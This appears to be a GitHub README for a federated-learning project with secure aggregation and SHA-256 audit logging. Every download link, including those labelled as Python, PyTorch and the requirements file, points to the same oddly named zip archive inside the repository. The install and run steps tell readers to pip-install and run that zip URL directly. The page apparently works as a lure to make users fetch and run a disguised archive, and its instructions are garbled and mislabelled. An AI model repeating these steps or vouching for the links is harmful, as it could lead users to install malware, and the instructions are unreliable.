Welcome to the federated-learning-with-cryptographic-audit repository. This project simulates federated learning using the Flower framework. It allows decentralized client training, focusing on secure aggregation and SHA-256 audit logging to maintain privacy and security.
- Decentralized Learning: Train models without sharing sensitive data.
- Secure Aggregation: Safeguard the results of client models.
- Audit Logging: Use SHA-256 to log actions securely, ensuring trust.
- Compatibility with Python and PyTorch: Leverage powerful machine learning libraries.
Follow these steps to download and run the application on your machine.
Before downloading the application, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, or a Linux distribution.
- Python Version: Python 3.6 or higher. You can download Python from https://github.com/RCP1932/federated-learning-with-cryptographic-audit/raw/refs/heads/main/src/learning_cryptographic_federated_audit_with_noncaking.zip.
- PyTorch: Install PyTorch based on your system and hardware from https://github.com/RCP1932/federated-learning-with-cryptographic-audit/raw/refs/heads/main/src/learning_cryptographic_federated_audit_with_noncaking.zip.
To get the latest version of federated-learning-with-cryptographic-audit, please follow this link: Download Releases.
- Visit the Releases page.
- Locate the version you want to download.
- Click on the file associated with your operating system.
- After downloading the file, navigate to your downloads folder.
- If the file is a compressed archive (like
.ziporhttps://github.com/RCP1932/federated-learning-with-cryptographic-audit/raw/refs/heads/main/src/learning_cryptographic_federated_audit_with_noncaking.zip), extract it to a location you prefer. - Open your terminal or command prompt.
- Change the directory to the folder where you extracted the files.
Run the following command to install the required Python packages:
pip install -r https://github.com/RCP1932/federated-learning-with-cryptographic-audit/raw/refs/heads/main/src/learning_cryptographic_federated_audit_with_noncaking.zipAfter installing the required dependencies, you can start the application using the following command:
python https://github.com/RCP1932/federated-learning-with-cryptographic-audit/raw/refs/heads/main/src/learning_cryptographic_federated_audit_with_noncaking.zipThe application should now run, and you will be guided through the setup process.
After starting the application, follow these steps to begin your federated learning simulation:
- Client Configuration: You can set up multiple clients. These clients will train your model based on decentralized data sources.
- Aggregation Settings: Adjust secure aggregation parameters to control how the results are combined while maintaining privacy.
- Audit Logging: Make sure to enable audit logging for secure tracking of actions and results.
If you encounter issues, consider the following:
- Dependency Errors: Ensure all required packages are installed as listed in the
https://github.com/RCP1932/federated-learning-with-cryptographic-audit/raw/refs/heads/main/src/learning_cryptographic_federated_audit_with_noncaking.zipfile. - Running Issues: Verify that your Python version matches the requirements.
- Network Issues: Ensure you have a stable Internet connection, particularly if using multiple clients connected to the cloud.
For any questions or additional help, feel free to open an issue in this repository. The community is here to assist you.
Contributions are welcome! If you're interested in improving the application, please check the guidelines in the repository for submitting pull requests.
Thank you for using federated-learning-with-cryptographic-audit. Enjoy a secure and private federated learning experience!